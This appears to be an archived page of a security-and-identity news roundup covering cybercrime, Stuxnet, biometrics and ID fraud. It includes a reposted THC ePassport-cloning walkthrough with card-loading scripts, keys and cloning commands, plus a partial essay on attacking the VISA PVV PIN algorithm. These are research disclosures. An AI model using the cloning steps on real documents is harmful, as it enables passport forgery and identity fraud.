Evidence

End of the Web As We Know It?

Sep 19th, 2011 | By | Category: Articles, Evidence

26 July 2011
by James Tulloch

Cybersecurity expert Mikko Hypponen / Credits: James Duncan Davidson / TED ConferencesMikko Hypponen, cybersecurity expert, speaks during TEDGlobal 2011 in Edinburgh, Scotland. “Stuxnet shows that the PLCs that control our entire infrastructure, everything that we rely on, can be infected.” (Source: James Duncan Davidson / TED Conferences)

Cybersecurity expert Mikko Hypponen, chief research officer at F-Secure Corporation in Finland, has some chilling warnings about the age of organized cybercrime and Stuxnet-style cyberwarfare. We tracked him down at TEDGlobal 2011 in Edinburgh.

You have tackled many computer virus outbreaks. Who or what are the biggest cyber threats today?
We can split attackers into three basic groups.

There are the hobbyists or hactivists like Anonymous or Lulzsec. They are not trying to make money, they are trying to send a political message, do it for fun or the challenge.

They are a problem but not nearly as bad a problem as organized criminal gangs who do all their attacks for money: they infect home computers, do banking Trojans to steal data, hack credit card details, hijack computers for ransom. They are the biggest threat to the normal end user.

The third problem is cyberwar or cybersabotage, things like the Stuxnet virus launched against a nuclear research centre in Iran, or countrywide denial of service attacks like we saw hitting Georgia and Estonia. These problems will be even more frequent in the future.

How do cybercriminals steal our sensitive data?
The most typical way to become a victim is to take a Windows computer and go online. Five years ago it was done through email, now it’s done through the web.

You might go to Google, click on a search result, and you’re infected. You don’t see anything happening, you can’t tell. They hack into high-profile websites like newspaper websites and insert some exploit codes and so you visit the site, read the news, and get infected.

Another way is to make a new, fake site from scratch, put lots of keywords there and so it ends up in the search results. There is no real content there but you go there and get infected.

Then there are key loggers. They sit silently on your computer and record everything that you type. Everything is saved and sent to the criminals. They are looking for online purchases when you type your name, address, credit card details and security codes.

How much is cybercrime costing us?
Nobody really knows. Nobody can calculate it reliably because the biggest losses come from denial of access to services, for which it is difficult to calculate the losses. You hear that cybercrime is bigger than the drug trade. I don’t believe that. It’s big, but it’s not that big. I believe it’s in the hundreds of millions of euros per year.

So what can we do to protect ourselves?
We have to stop blaming the user because most problems are not related to the user.

A trader in the Karachi stock exchange in Pakistan. / Credits: ReutersGlobal Risks 2011

Click on image to see Special

more

Of course the computer has to be vulnerable, which can be down to user error, but that gets very technical. Your Windows might be updated, but what about Quicktime, Flash and Java plug-ins or add-ons?

We have to move responsibility up to higher levels, to operating system manufacturers, to security companies like us, and to operators and Internet Service Providers (ISPs) that provide the connections.

What about governments or law enforcement authorities?
In the online world each individual crime is small but there are lots of lots of them, and victims all over world. It makes it a nightmare to investigate.

On the internet there are no borders, making every single online crime an international crime, beyond national jurisdictions. That means the sheer numbers of international crimes have exploded in the last ten years. Have the numbers of international law enforcement systems exploded in the last 10 years? No they haven’t.

We are proposing a new framework, like Interpol, focusing on online crime. All countries would promise to work together. So if country A is investigating a crime involving servers in countries B and C, those countries would be forced to help solve the crime.

So the internet needs to be more orderly than previously?
Yes, it does but we have to be very careful not to restrict the openness, creativity and freedom of speech we have on the internet, careful not to move towards a police state.

Mikko Hypponen at the TEDGlobal 2011: ”Fighting viruses, defending the net”

You say we risk losing everything if we don’t deal with cyber security. What do you mean?

When people learn about these security and privacy problems their first reaction is to never go online again. That’s perfectly human but it’s not the right reaction. We have crime in the real world. Yet people run businesses and walk the streets.

One thing we are missing from the online world which we have in the real world is police work. That is why we have to fight these security and privacy problems. We risk these criminals running rampant and taking away peoples’ trust. If people don’t trust the net they won’t use it.

We are already seeing some countries blocking ISPs from some regions so we risk turning the globalized internet back into nation states or islands of internet usage that don’t talk to each other.

Which brings us to cyberwarfare: why is Stuxnet such a revolutionary threat?
Stuxnet is unique. Yes, it infects computers but in addition it is capable of jumping from those computers to Programmable Logic Controller (PLC) boxes, in this Stuxnet’s case Siemens PLCs running Siemens’ own operating system. These PLCs operate all kinds of infrastructure, factories and systems.

Stuxnet infects the PLC and hopes that device is used in one specific target—in this case the Natanz nuclear enrichment processing plant in Iran. We believe it broke nuclear fuel enrichment centrifuges by turning them at the wrong speeds. But if it infects other PLCs that end up in a food processing plant then nothing will happen.

That is a targeted attack, a very difficult attack, and a very worrying attack.

What happens now that the Stuxnet genie is out of the bottle?
Let me tell you something worrying. Three months ago I went online and tried to find a copy of Stuxnet from public sources. It took me three minutes. Any other government or any extremist group could try to modify Stuxnet, it is right there.

It is the first of its kind, so far we’ve only seen one, but the worry is we will see more. Stuxnet shows that the PLCs that control our entire infrastructure, everything that we rely on, can be infected.



Fake biometric eye stamps: Three arrested at DIA

Sep 5th, 2011 | By | Category: Evidence

DNRD has referred three people – two Russians and a Moldavian – to Dubai International Airport (DIA) Police, for suspicion of smuggling forged Eye Biometrics Recognition Stamps

WAM –  UAE | General

XPRESS

The Naturalization and Residency Department in Dubai (DNRD), has referred three people – two Russians and a Moldavian – to Dubai International Airport (DIA) Police, for suspicion of smuggling forged Eye Biometrics Recognition Stamps with intent to facilitate the entry to the UAE of individuals who were previously banned.

A team of DNRD officers, consisting of preventive security staff and airports investigation department personnel, succeeded in arresting ‘F. Sh’, a 17-years-old Russian, at DIA, after he surrendered 72 fake Eye Biometrics Recognition stamps. Another suspect ‘Kh.A’, a 34-year-old Russian, who received the bag containing the fake stamps, was also captured.

A third suspect, ‘A.M’, 21 years old female holder of Moldavian passport was also arrested at the DIA with a laptop and 5 ink pads and later she acknowledged that she was going to deliver them to the first suspect. The DIA team prepared a criminal report against the three and referred them to special task forces for further investigation.

Major-General Mohammed Ahmed Al Marri, DNRD Director, revealed that the number of individuals arrested through the Iris Scan System at DIA reached 1,325 in 2006, which increased to 3,626 and 4,382 in 2007 and the first half of 2008, respectively.

 



Science: Brain Scans Used In Murder Sentencing

Dec 20th, 2010 | By | Category: Evidence

Science: Brain Scans Used In Murder Sentencing

“For what may be the first time, fMRI scans of brain activity have been used as evidence in the sentencing phase of a murder trial”

NOVEMBER 23, 2009

fMRI Evidence Used in Murder Sentencing

by Greg Miller

For what may be the first time, fMRI scans of brain activity have been used as evidence in the sentencing phase of a murder trial. Defense lawyers for an Illinois man convicted of raping and killing a 10-year-old girl used the scans to argue that their client should be spared the death penalty because he has a brain disorder.

The defendant, Brian Dugan, pleaded guilty in July to killing Jeanine Nicarico after kidnapping her from her home in 1983. (Prior to that, the Nicarico case had taken more turns than a hangman’s knot, detailed in a 1998 bookVictims of Justice). Dugan was already serving life sentences for two other murders, but prosecutors sought the death penalty for Nicarico’s murder.



Seven arrests in Ratanak Kiri fake uniforms case

Dec 28th, 2009 | By | Category: Evidence

The Phnom Penh Post
Chrann Chamroeun and Mom Kunthear

Police arrest group after catching one suspect wearing a fake two-star general’s uniform

SEVEN people were sent to Ratanakkiri provincial court on Wednesday after they were found with forged government documents and fake military police uniforms, a provincial military police chief told the Post.

Tuy Sim, Ratanakkiri provincial Military Police chief, said his officials had arrested the group after one of its members was caught wearing a fake general’s uniform.

——————————————————————————–
…when he began to panic they suspected him and took them to the police station.
——————————————————————————–

“Our men had lunch with [one of the suspects] and he was wearing casual clothes, and then later in the day they saw him wearing a two-star general’s military police uniform travelling to a pagoda in a Mitsubishi car with six other people,” Tuy Sim said.

He added that upon raiding the car, police found a gun, four other uniforms and forged documents, including one with the signature of Prime Minister Hun Sen and another that was signed by Minister of Agriculture Chan Sarun.

“They asked him for his name and which unit he came from, and when he began to panic, they suspected him and took them to the police station,” he said.

Illegal logging suspected
Pen Bonnar, provincial coordinator for the rights group Adhoc, told the Post Wednesday that he welcomed the arrests because he believed the group was likely involved in illegal logging.

“I request that authorities further investigate the group, as we have found that a lot of people who have fake police uniforms and forged documents are involved in illegal logging.”



Malaysia car thieves steal finger

Dec 14th, 2009 | By | Category: Evidence

By Jonathan Kent,  BBC News, Kuala Lumpur

Police in Malaysia are hunting for members of a violent gang who chopped off a car owner’s finger to get round the vehicle’s hi-tech security system.


The car, a Mercedes S-class, was protected by a fingerprint recognition system.

Accountant K Kumaran’s ordeal began when he was run down by four men in a small car as he was about to get into his Mercedes in a Kuala Lumpur suburb.

The gang, armed with long machetes, demanded the keys to his car.

It is worth around $75,000 second-hand on the local market, where prices are high because of import duties.

Stripped naked

The attackers forced Mr Kumaran to put his finger on the security panel to start the vehicle, bundled him into the back seat and drove off.

But having stripped the car, the thieves became frustrated when they wanted to restart it. They found they again could not bypass the immobiliser, which needs the owner’s fingerprint to disarm it.

They stripped Mr Kumaran naked and left him by the side of the road – but not before cutting off the end of his index finger with a machete.

Police believe the gang is responsible for a series of thefts in the area.



Letter: By December 31, 2009 – Citizens will not be able to use their driver’s licenses as identification to board commercial aircraft

Dec 14th, 2009 | By | Category: Evidence

Letter

Executive Committee Home

November 18, 2009

The Honorable Nancy Pelosi
Speaker
U.S. House of Representatives
Washington, DC  20515

The Honorable Harry Reid
Majority Leader
United States Senate
Washington, DC  20510

The Honorable John Boehner
Minority Leader
U.S. House of Representatives
Washington, DC  20515

The Honorable Mitch McConnell
Minority Leader
United States Senate
Washington, DC  20510

Dear Speaker Pelosi, Senator Reid, Senator McConnell, and Representative Boehner:

By December 31, 2009, states must be materially compliant with the REAL ID Act of 2005 (REAL ID) or their citizens will not be able to use their driver’s licenses as identification to board commercial aircraft.  Based on a survey of our states, we believe that as many as 36 states will not meet the requirements of REAL ID by the end of the year.  To avoid this disruption to our citizens, especially during the holiday travel period, Congress must pass S. 1261, the “Providing for Additional Security in States’ Identification Act” (PASS ID), this year.

Since REAL ID was enacted, states have maintained that its timelines and requirements are unrealistic and constitute a huge unfunded mandate with costs far outpacing federal funding.  For these reasons, and as a result of privacy concerns, 13 states have enacted legislation prohibiting full compliance with the requirements of REAL ID, and several others have passed anti-REAL ID resolutions or have similar legislation pending. Without state participation, REAL ID falls far short of its promises, and the uncertainty of its future leaves us less secure.

PASS ID offers better, more secure and less costly standards for driver’s licenses than REAL ID.  It would alter REAL ID to allow state innovation in meeting security requirements and reduce costs by eliminating unnecessary requirements that do not increase the security and integrity of driver’s licenses and identification cards.  It also addresses privacy concerns by protecting individuals’ personal information and takes the first step toward covering the cost of compliance by authorizing funds for all states to implement the law.

The Senate Homeland Security and Governmental Affairs Committee unanimously approved S. 1261 in July.  The bill enjoys bipartisan support and the endorsement of the Secretary of the U.S. Department of Homeland Security as a practical solution that builds on the strengths of REAL ID, fixes its weaknesses and represents the best way to fulfill an important recommendation of the 9/11 Commission.

Our citizens should not be punished for the failures of REAL ID.  We therefore ask that you work with us to pass S. 1261 before the end of the year.

Sincerely,

Governor James H. Douglas

Governor Joe Manchin III



No place for crooks to hide

Dec 10th, 2009 | By | Category: Evidence

SAFFRON HOWDEN | Sydney Morning Herald

December 9, 2009

THE retail giant Westfield is considering introducing controversial face recognition technology at its Penrith shopping centre in Sydney’s west.

Unlike closed circuit television (CCTV), the identification system matches images captured by surveillance cameras to an existing database of faces.

The Herald understands Westfield is considering upgrading its already advanced CCTV to include the biometric technology in its security measures.

Police said they could not comment on the centre’s intentions, but would welcome any move to improve security and technology in the area. They said many businesses already used face recognition systems without public knowledge.

”You’d be surprised at how many have it,” Detective Inspector Grant Healey of Penrith said. ”Any tool that helps us identify offenders is a great tool for us, too.

”Some [face recognition systems] can go live, so if they walk into the place, it will tell you that they’re in there.”

Westfield would not comment on any plans to introduce the technology at its Penrith shopping centre, but a company spokeswoman said it was not used at present. ”I wouldn’t comment on what we might be considering,” she said.

”There are different security needs at different centres.”

The use of face recognition surveillance has alarmed privacy advocates.

”I think it’s an extremely dangerous thing,” the chairman of the Australian Privacy Foundation, Dr Roger Clarke, said. ”There’s no control to ensure it will only be used for crooks.”

The technology has already been used at Sydney Airport for passengers to check themselves through passport control and it is used by police and by the Roads and Traffic Authority to combat identity fraud.

Professor Maciej Henneberg, of the University of Adelaide, said the recognition technology would be particularly useful in shopping centres. ”I would advocate this to be used more and more,” he said.

”It will prevent many individuals who have criminal records of being a danger to normal shoppers in malls.

”Most of the CCTV systems now in shopping malls, service stations and in banks produce images of poor quality,”Professor Henneberg said. article source



Government E-Verify Biometric system may not detect ID fraud

Dec 1st, 2009 | By | Category: Evidence

By STEWART M. POWELL and SUSAN CARROLL Copyright 2009 Houston Chronicle

WASHINGTON — Some illegal immigrants with stolen Social Security numbers are able to gain clearance for employment in the United States even after being checked through the federal government’s pioneering online E-Verify system, senators and the Migration Policy Institute warned Tuesday.

The senators, led by Chuck Schumer, D-N.Y., and John Cornyn, R-Texas, and the well-known think tank said the loophole must be closed before Congress undertakes comprehensive immigration reform and before the Department of Homeland Security requires federal contractors and recipients of economic stimulus funds to use the federal employment verification system.

“The American public will not put faith in us again if we pass immigration reform without an effective, accurate and enforced employer verification program,” declared Cornyn, a member of the Senate Judiciary Committee panel with jurisdiction over immigration, border security and citizenship.

Schumer called for 10 improvements to existing employee verification, led by requiring biometric proof of identity such as fingerprints or enhanced face-reading biometric photographs.

‘Gaping hole’ in E-Verify

The current E-Verify system is “an example of a half hearted and flawed system,” Schumer said at the subcommittee hearing, noting that it does not prevent an illegal immigrant from using the name, Social Security number and address of a U.S. citizen.

Marc Rosenblum, a senior policy analyst with the nonpartisan Migration Policy Institute, based in Washington, D.C., said a “gaping hole” in E-Verify fails to detect identity fraud.

The voluntary E-Verify system enables employers to submit the names and Social Security numbers of prospective hires to the Department of Homeland Security and the Social Security Administration to verify immigration and employment status.

A total of 137,463 employers are using E-Verify from 517,000 employment sites, including 7,043 employers in Texas.

The program is about to expand to require mandatory E-Verify employment checks by private companies awarded government contracts and firms receiving money from the $787 billion economic stimulus package.

Mike Aytes, acting deputy director of the U.S. Citizenship and Immigration Services agency that handles E-Verify, told the committee federal authorities are working to provide prospective employers identification photographs beyond just the photographs generated by immigration agencies to help employers verify applicants’ identities.

“This would represent a significant enhancement to the system, since new hires most often present a driver’s license for (employment eligibility verification) purposes,” Aytes said.




IDs FOR SALE! IDs FOR SALE! Who wants to Buy One?

Nov 28th, 2009 | By | Category: Evidence

26/11/2009 21:23:48

STEVE LILES

The Financial Times this morning has a video that just gobsmacked me.

I know I’ve been vocal in the past about ID protection but I’m now at the point that I’ve been terribly enlightened…and saddened! An American journalist takes us to see another journalist in Russia who visits a store that sells databases on everyone.  I mean everyone!  Poor old Vladimir is no exception.  These databases come from all, and I do mean all, of the public service agencies; we know that public corporation databases have been available on the black market for years so now the criminals have access to the lot!  It’s all very real! It’s not science fiction anymore. Perhaps it’s all too late! Can we do anything to stop this happening here? The first thing that we need to do is to stop putting our head in the sand and saying that it can’t…or that it won’t happen.  Nothing can go wrong, we are different. That’s just bullshit. Dealing with the sheer number of agencies that have our details increases the risk that just one of them has a bent employee. So we shouldn’t trust any of them.  I would rather see a single agency that manages ID – the exposure to the bent employee risk has to be less than the alternative. And don’t tell me that putting your eggs in one basket increases the risk either. If you leave the basket in a safe place and it’s not moved, the eggs will be fine. Although, the video has made me rather shell shocked!



U.S. – Canada To Share Refugees’ Biometric Info

Nov 25th, 2009 | By | Category: Evidence

BEAT THE CHIP

BEATTHECHIP.ORG IS DEVOTED TO PRESERVING US CITIZENS FROM THE PROGRESS OF REAL ID LEGISLATIONS

WEDNESDAY, NOVEMBER 25, 2009

c/o CanWest News Washington
WASHINGTON — Seeking to enhance its efforts to crack down on fraudulent refugee claims, the Harper government on Tuesday announced it has struck a deal to share fingerprint information on asylum seekers with the United States.

Public Safety Minister Peter Van Loan made the announcement following a bilateral summit here with U.S. Homeland Security Secretary Janet Napolitano.

Under the protocol, the U.S. will join a biometric data-sharing initiative Canada had already launched last summer with the United Kingdom and Australia.

“Biometrics continue to be a powerful tool to prevent terrorists and criminals from crossing our shared border and preventing identity theft and asylum fraud,” Napolitano said at a news conference with Van Loan.

Canada’s privacy commissioner, Jennifer Stoddart, had expressed a series of concerns about the biometric data sharing when the plan was first announced in August. Stoddart’s office questioned Ottawa about the need to collect fingerprints and sought assurances the personal information gathered would not be used for secondary purposes.

“While we are still reviewing their response, on the surface of it, it appears they have addressed most of our concerns,” said Anne-Marie Hayden, a spokesperson for the privacy commissioner.

“They have advised us that under the protocol, biometric information will only be used for immigration and nationality issues. They have also told us that biometric matching information will only be one of many elements considered when assessing a file.”

The privacy commissioner’s office is still awaiting a response, however, on how Citizenship and Immigration Canada “plans to address our concerns about how refugees, a very vulnerable population, will be notified about the collection and use of their biometric information,” Hayden said.

Napolitano said the U.S. will dispatch its chief privacy officer to Ottawa in early December for discussions with Canadian officials. “As we share information, we are committed to protecting privacy and civil rights,” she said.

Immigration Minister Jason Kenney has argued biometric data sharing on refugee claimants dramatically increases the government’s ability to identify foreign nationals who try to hide their past when seeking to enter Canada.
His office says the agreement allows countries to check each other’s fingerprint databases but doesn’t give them unfettered access to the information.

“Previous trials show that biometric information sharing works,” Kenney said in a statement Tuesday. “The data sharing helps uncover details about refugee claimants such as identity, nationality, criminality, travel and immigration history, all of which can prove relevant to the claim.”

When Canada, the U.K. and Australia initially signed the agreement last summer, they sought to allay privacy concerns by agreeing no central database of fingerprints would be created.

The information-sharing pact is part of a broader government initiative to introduce biometrics into Canada’s immigration and refugee screening system — a plan that continues to raise red flags for privacy advocates.

“We have made them aware of our concerns with respect to what seems to be a general trend toward an increased collection of biometric information,” Hayden said.



How to create a backup of your own passport chip(s)

Nov 12th, 2009 | By | Category: Evidence

logo

THC/vonJeek proudly presents an ePassport emulator. This emulator applet
allows you to create a backup of your own passport chip(s).


The government plans to use ePassports at Immigration and Border
Control. The information is electronically read from the Passport
and displayed to a Border Control Officer or used by an automated
setup. THC has discovered weaknesses in the system to (by)pass the
security checks. The detection of fake passport chips does not
work. Test setups do not raise alerts when a modified chip
is used. This enables an attacker to create a Passport with an
altered Picture, Name, DoB, Nationality and other credentials.

The manipulated information is displayed without any alarms going off.
The exploitation of this loophole is trivial and can be verified using
thc-epassport.

Regardless how good the intention of the government might have been, the
facts are that tested implementations of the ePassports Inspection System
are not secure.

ePassports give us a false sense of security: We are made to believe
that they make usemore secure. I'm afraid that's not true: current
ePassport implementations don't add security at all.

Thanks to Elv1s for beta testing!

Just follow two easy steps:

(1) Upload the emulator code to a blank JCOP v4.1 72k smart card
Use your favorite tool to upload the CAP file. As an example GPShell is
used. The script used to upload the CAP file:

P:\GPShell-1.4.2>type epassport.script
mode_211
enable_trace
establish_context
// edit the following line to match your PCSC reader
card_connect -readerNumber 3
select -AID A000000003000000
open_sc -security 3 -mac_key 404142434445464748494A4B4C4D4E4F -enc_key 404142434445464748494A4B4C4D4E4F -kek_key 404142434445464748494A4B4C4D4E4F
delete -AID A00000024710
install -file epassport.cap -priv 2
card_disconnect
release_context

A sample output of an actual upload:

P:\GPShell-1.4.2>GPShell.exe epassport.script
mode_211
enable_trace
establish_context
card_connect -readerNumber 3
* reader name OMNIKEY CardMan 5x21-CL 0
select -AID a000000003000000
Command --> 00A4040008A000000003000000
Wrapped command --> 00A4040008A000000003000000
Response <-- 6F108408A000000003000000A5049F6501FF9000
..
..
..
Wrapped command --> 84E60C002506A0000002471007A000000247100107A00000024710010100
02C90000B918E8E43A25117700
Response <-- 9000
card_disconnect
release_context

The CAP file currently supports the following files:

 * EF.COM :    32 bytes (required file)
 * EF.SOD :  2560 bytes (required file)
 * EF.DG1 :    96 bytes (required file)
 * EF.DG2 : 24576 bytes (required file)
 * EF.DG11:    64 bytes (optional, e.g. USA)
 * EF.DG12:    96 bytes (optional, e.g. USA)
 * EF.DG13:    96 bytes (optional, e.g. Japan, France)
 * EF.DG15:   192 bytes (optional, e.g. The Netherlands)

If you need support for other / larger DGs, please let vonJeek know.

(2a) Clone the chip
Using a customized THC version of Adam Laurie's RFIDIOt tools, you're able
to read a chip's content and to write it to an emulator.

P:\RFIDIOt-vonjeek>mrp0wn.py CLONE M3V0NJ33K000000999999

===============================================================================
= mrp0wn.py, an RFIDIOt ePassport utility by vonJeek <mailto:vonjeek@thc.org> =
= Use Jeroen van Beek's ePassport emulator as the target device.              =
===============================================================================
Put a ePassport near the terminal and press enter to continue...
Reading document using KEY M3V0NJ33K000000999999, please be patient...
Put the emulator near the terminal and press enter to continue...
Writing new ePassport using files in /tmp.
Writing /tmp/EF_COM.BIN: 0 bytes left...
Writing /tmp/EF_SOD.BIN: 0 bytes left...
Writing /tmp/EF_DG1.BIN: 0 bytes left...
Writing /tmp/EF_DG2.BIN: 0 bytes left...
Setting the secret key to M3V0NJ33K200000009999998.

Done, happy mrp0wning :) 

Use the following command to read the chip:
./mrpkey.py "M3V0NJ33Kxxxx000000xx999999xxxxxxxxxxxxxxxxx"

If your chip is protected using the optional Active Authentication mechanism,
the Active Authentication data group (DG15, tag 0x6F) is removed from EF.COM
as demonstrated by Jeroen van Beek at the 2008 USA BlackHat Briefings. Note
that mrp0wn.py's parameter 'STRIP_AA' must be set to the value 'True'. This
attack will work on all inspection system implementations that are using e.g.
ICAO's "worked examples", see this site for more info on that.

index

(2b) Write saved data
It's also possible to write chip data you've saved earlier using RFIDIOt's
mrpkey.py. As an example you can use vonJeek's ePassport data. Note that
this data is self-signed: vonJeek started his own country :-D 

P:\tmp>unzip vonjeek-epassport_dump.zip
Archive:  vonjeek-epassport_dump.zip
 extracting: EF_COM.BIN
  inflating: EF_DG2.BIN
  inflating: EF_DG1.BIN
 extracting: EF_SOD.BIN 

P:\>cd \RFIDIOt-vonjeek 

P:\RFIDIOt-vonjeek>mrp0wn.py WRITE /tmp

===============================================================================
= mrp0wn.py, an RFIDIOt ePassport utility by vonJeek ;lt;mailto:vonjeek@thc.org> =
= Use Jeroen van Beek's ePassport emulator as the target device.              =
===============================================================================
Document type is PASSPORT.
Put the emulator near the terminal and press enter to continue...
Writing new ePassport using files in /tmp.
Writing /tmp/EF_COM.BIN: 0 bytes left...
Writing /tmp/EF_SOD.BIN: 0 bytes left...
Writing /tmp/EF_DG1.BIN: 0 bytes left...
Writing /tmp/EF_DG2.BIN: 0 bytes left...
Setting the secret key to M3V0NJ33K200000009999998.
Done, happy mrp0wning ;) 

Use the following command to read the chip:
./mrpkey.py "M3V0NJ33Kxxxx000000xx999999xxxxxxxxxxxxxxxxx"

You can also alter data before writing it to an emulator chip. If you want
to do that: this document contains details about - amongst others - DG1 and
DG2 encoding. If you've updated the DGs you can sign them using Peter
Gutmann's CryptLib. 

A read-out of vonJeek's ePassport chip using the reference implementation
named Golden Reader Tool can be seen below.

vonJeek's passport

If you're interested in ePassport related PKI (how to verify whether chip
content is signed by a bonafide authority?) please check the following URLs:

* http://www2.icao.int/en/MRTD/Pages/icaoPKD.aspx
* http://www.icao.int/icao/en/atb/meetings/2008/TagMRTD18/TagMrtd18_ip04.pdf
* http://www.csca-si.gov.si/TR-PKI_mrtds_ICC_read-only_access_v1_1.pdf
* http://www.timesonline.co.uk/tol/news/uk/crime/article4467106.ece
* http://www.timesonline.co.uk/tol/news/uk/crime/article4467098.ece 

Yours sincerly,

vonjeek [at] thc dot org
The Hackers Choice

http://www.thc.org


Researchers Find Problems With RFID Passport Cards

Nov 12th, 2009 | By | Category: Evidence

RFID tags used in two new types of border-crossing documents in the U.S. are vulnerable to snooping and copying, a researcher…

Stephen Lawson, IDG News Service

RFID tags used in two new types of border-crossing documents in the U.S. are vulnerable to snooping and copying, a researcher said on Thursday.

United States Passport Cards issued by the U.S. Department of State and EDLs (enhanced driver’s licenses) from the state of Washington contain RFID (radio-frequency identification) tags that can be scanned at border crossings without being handed over to agents. Both were introduced earlier this year for border crossings by land and water only, and can’t be used for air travel. New York is the only other U.S. state with an EDL, though others are in the works.

The information in these tags could be copied on to another, off-the-shelf tag, which might be used to impersonate the legitimate holder of the card if a U.S. Department of Homeland Security agents at the border didn’t see the card itself, the researchers said. Another danger is that the tags can be read from as far as 150 feet away in some situations, so criminals could read them without being detected. Although the tags don’t contain personal information, they could be used to track a person’s movements through ongoing surveillance, they said.

Another danger is that hackers could cause EDLs to self-destruct by sending out a certain number, they said.

“It would be relatively easy for someone to read your passport card or EDL,” said Tadayoshi Kohno, an assistant professor of computer science and engineering at the University of Washington.

Though there’s no reason for panic, “Our hearts should start to beat a little faster,” Kohno said. The risk to individual passengers is low, but the problems create systemic weaknesses in the border-crossing system, according to a summary of the report.

Retail, shipping and other businesses are increasingly using RFID tags as wireless bar codes that can contain more information than traditional printed ones. The growth of the technology is making the tools of RFID hacking more easily available, Kohno said.

In a cloning attack, a hacker could read the information off a card’s RFID tag, either while the cardholder was passing by or as the official card reader was picking up the data. The attacker could then encode a generic RFID tag with that same data, Kohno said. With that newly encoded tag, someone could slip through the border by appearing to the RFID reader to have a legitimate identification card, as long as no one asked to look at the actual card.

By themselves, the RFID vulnerabilities don’t mean someone will get away with cloning or other attacks, Kohno pointed out.

“In reality, the system involved in border crossings is much greater than just the technical aspect,” Kohno said. For example, authorities are likely to interview drivers and passengers crossing the border and look at their identification cards, he said. They may also use other measures against card-cloning near border crossings.

However, Kohno and three fellow researchers believe there are mechanisms available for the RFID tags that the U.S. and Washington governments aren’t using.

For example, each tag has two specialized numbers: an access PIN (personal identification number) and a kill PIN. (These are larger than bank-card PINs and aren’t chosen by the cardholders.) The access PIN can be used to verify that a tag is legitimate and the kill PIN can be used to render the tag unreadable.

The access PINs are used on both the passport cards and the EDLs, but there are additional security measures that the researchers don’t think authorities are using. For example, they could test the access PIN using information from a database, Kohno said. In addition, the kill PIN is not set up on the Washington EDLs, which could make them vulnerable to an attack that would make all such cards at a certain site unreadable, he said. Such an attack could cause a nuisance or undermine travelers’ confidence, the summary said.

The researchers have given recommendations to both U.S. and Washington authorities, Kohno said.

Full-size U.S. passports, which are booklets instead of cards, aren’t affected by these vulnerabilities because their RFID tags have cryptographic protections and the booklets have metallic covers that protect against snooping, the researchers said.

For self-protection, the researchers suggest consumers use the protective sleeves that come with both cards, which can help to prevent clandestine scanning. Travelers can also use the safer full-size U.S. passports instead.



Breaking VISA PIN

Oct 24th, 2009 | By | Category: Evidence

by: Luis Padilla Visdómine

Foreword

Have you ever wonder what would happen if you loose your credit or debit card and someone finds it. Would this person be able to withdraw cash from an ATM guessing, somehow, your PIN? Moreover, if you were who finds someone’s card would you try to guess the PIN and take the chance to get some easy money? Of course the answer to both questions should be “no”. This work does not deal with the second question, it is a matter of personal ethics. Herewith I try to answer the first question.

All the information used for this work is public and can be freely found in Internet. The rest is a matter of mathematics and programming, thus we can learn something and have some fun. I reveal no secrets. Furthermore, the aim (and final conclusion) of this work is to demonstrate that PIN algorithms are still strong enough to provide sufficient security. We all know technology is not the weak point.

This work analyzes one of the most common PIN algorithms, VISA PVV, used by many ATM cards (credit and debit cards) and tries to find out how resistant is to PIN guessing attacks. By “guessing” I do not mean choosing a random PIN and trying it in an ATM. It is well known that generally we are given three consecutive trials to enter the right PIN, if we fail ATM keeps the card. As VISA PIN is four digit long it’s easy to deduce that the chance for a random PIN guessing is 3/10000 = 0.0003, it seems low enough to be safe; it means you need to loose your card more than three thousand times (or loosing more than three thousand cards at the same time) until there is a reasonable chance of loosing money.

What I really meant by “guessing” was breaking the PIN algorithm so that given any card you can immediately know the associated PIN. Therefore this document studies that possibility, analyzing the algorithm and proposing a method for the attack. Finally we give a tool which implements the attack and present results about the estimated chance to break the system. Note that as long as other banking security related algorithms (other PIN formats such as IBM PIN or card validation signatures such as CVV or CVC) are similar to VISA PIN, the same analysis can be done yielding nearly the same results and conclusions.

VISA PVV algorithm

One of the most common PIN algorithms is the VISA PIN Verification Value (PVV). The customer is given a PIN and a magnetic stripe card. Encoded in the magnetic stripe is a four digit number, called PVV. This number is a cryptographic signature of the PIN and other data related to the card. When a user enters his/her PIN the ATM reads the magnetic stripe, encrypts and sends all this information to a central computer. There a trial PVV is computed using the customer entered PIN and the card information with a cryptographic algorithm. The trial PVV is compared with the PVV stored in the card, if they match the central computer returns to the ATM authorization for the transaction. See in more detail.

The description of the PVV algorithm can be found in two documents linked in the previous page. In summary it consists in the encryption of a 8 byte (64 bit) string of data, called Transformed Security Parameter (TSP), with DES algorithm (DEA) in Electronic Code Book mode (ECB) using a secret 64 bit key. The PVV is derived from the output of the encryption process, which is a 8 byte string. The four digits of the PVV (from left to right) correspond to the first four decimal digits (from left to right) of the output from DES when considered as a 16 hexadecimal character (16 x 4 bit = 64 bit) string. If there are no four decimal digits among the 16 hexadecimal characters then the PVV is completed taken (from left to right) non decimal characters and decimalizing them by using the conversion A->0, B->1, C->2, D->3, E->4, F->5. Here is an example:

Output from DES: 0FAB9CDEFFE7DCBA

PVV: 0975

The strategy of avoiding decimalization by skipping characters until four decimal digits are found (which happens to be nearly all the times as we will see below) is very clever because it avoids an important bias in the distribution of digits which has been proven to be fatal for other systems, although the impact on this system would be much lower. See also a related problem not applying to VISA PVV.

The TSP, seen as a 16 hexadecimal character (64 bit) string, is formed (from left to right) with the 11 rightmost digits of the PAN (card number) excluding the last digit (check digit), one digit from 1 to 6 which selects the secret encrypting key and finally the four digits of the PIN. Here is an example:

PAN: 1234 5678 9012 3445
Key selector: 1
PIN: 2468

TSP: 5678901234412468

Obviously the problem of breaking VISA PIN consists in finding the secret encrypting key for DES. The method for that is to do a brute force search of the key space. Note that this is not the only method, one could try to find a weakness in DEA, many tried, but this old standard is still in wide use (now been replaced by AES and RSA, though). This demonstrates it is robust enough so that brute force is the only viable method (there are some better attacks but not practical in our case, for a summary see LASEC memo and for the dirty details see Biham & Shamir 1990Biham & Shamir 1991,Matsui 1993Biham & Biryukov 1994 and Heys 2001).

The key selector digit was very likely introduced to cover the possibility of a key compromise. In that case they just have to issue new cards using another key selector. Older cards can be substituted with new ones or simply the ATM can transparently write a new PVV (corresponding to the new key and keeping the same PIN) next time the customer uses his/her card. For the shake of security all users should be asked to change their PINs, however it would be embarrassing for the bank to explain the reason, so very likely they would not make such request.

Preparing the attack

